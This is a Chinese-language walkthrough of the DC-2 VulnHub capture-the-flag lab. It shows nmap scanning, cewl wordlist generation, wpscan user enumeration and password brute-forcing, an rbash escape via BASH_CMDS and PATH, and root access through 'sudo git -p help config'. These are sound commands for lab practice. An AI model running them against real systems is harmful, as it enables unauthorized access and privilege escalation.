放一篇很久之前写的笔记。
前言
DC-2是一款非常受欢迎的靶机,通常用于学习和实践不同的安全工具和技术,特别是针对Web应用程序,比如WordPress。通过在DC-2靶机的这些练习,你将更好地理解和掌握搭建和管理一个安全、稳定、高效的WordPress博客所需的各种技能。
环境搭建
攻击机:Kali
IP地址:192.168.18.150
靶机:DC-2(linux)
靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/
IP地址:192.168.18.193
网络:两个主机须在同一局域网下,所以虚拟机的网络配置器必须相同
实验步骤
端口扫描发现靶机开启了80端口用于http协议和7744端口用于ssh协议
访问网站发现解析成了域名但无法访问
可能会有隐藏端口,于是全端口扫描一遍
这里记录一下用到的几个参数
-sS : TCP同步扫描 (TCP SYN),因为不必全部打开一个 TCP 连接,所以这项技术通常称为半开扫描
-A : 采用全面扫描的方式-p: 指定端口
-sV 对端口上的服务程序版本进行扫描
-T0-9 扫描速度,一般T4就够
-O 扫描探测目标主机的操作系统
提示未能重定向到http://dc-2/
这里需要进行更改本地DNS文件否则访问不了,我们修改一下/etc/hosts文件
成功访问进网页获取到第一个flag
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
你通常的单词表可能不起作用,所以,也许你只需要保持清醒。
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。
提示我们需要用到cewl 生成字典
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具
cewl http://dc-2/ -w /root/桌面/dict.txt
这里不能用 cewl http://192.168.18.193 -w passwd.txt
会没有任何输出,因为重定向,需要用域名
发现此网站框架是WordPress
再用dirsearch工具扫描一下此网站的目录。
dirsearch -u http://192.168.18.193 -x 403 404 405 500
发现没有装使用dirb发现管理员登录页面
此时,有登录框,密码字典,需要寻找账号
我们需要用到Wordpress。
WordPress有一个著名的扫描工具wpscan
更新工具wpscan –update
wpscan –url http://dc-2/ -e u //列举出用户名字
-e u 枚举用户名,默认从1-10
使用wpscan爆破账号密码
wpscan –url http://dc-2/ -U u.txt -P dict.txt
// u.txt 账号字典 dict.txt 密码字典
登录成功,进入页面找到flag2,其实到这里我们编辑主题php文件反弹shell直接可以上线提权一把梭了,放上一段其他博客官方的暗示。但是这里我还是按照题目预先的流程走一遍
Flag 2:
If you can’t exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。
flag2提示我们可以走另一个入口,让我想到了ssh,于是我们使用tom用户进靶机远程ssh登录。
ssh user@rhost -p rport
发现登录上了,进行权限查看,发现有rbash限制。
compgen -c //查看我们可以使用的命令
绕过rbash
- # 利用bash_cmds自定义一个shell
- BASH_CMDS[a]=/bin/sh;a
- # 添加环境变量
- export PATH=$PATH:/bin/
- export PATH=$PATH:/usr/bin
flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。
flag3提示我们su,我感觉是要我们切换到另一个用户,于是我用ssh远程登陆了jerry用户发现登录不上。
提示我们使用su
su jerry
find / -name *flag*
flag4
Good to see that you’ve made it this far – but you’re not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here – you’re on your own now. 🙂
Go on – git outta here!!!!
很高兴看到你已经走了这么远——但你还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)
这里没有提示——你现在要靠自己了。:-)
走吧,离开这里!!!!
sudo -l
发现了我们可以使用git命令,而且flag4提示我们也有git命令,所以说很有可能是用git命令进行提权,我们去提权网站搜索一下git命令如何进行提权。
sudo git -p help config
!/bin/sh
退出就提权成功了找到flag5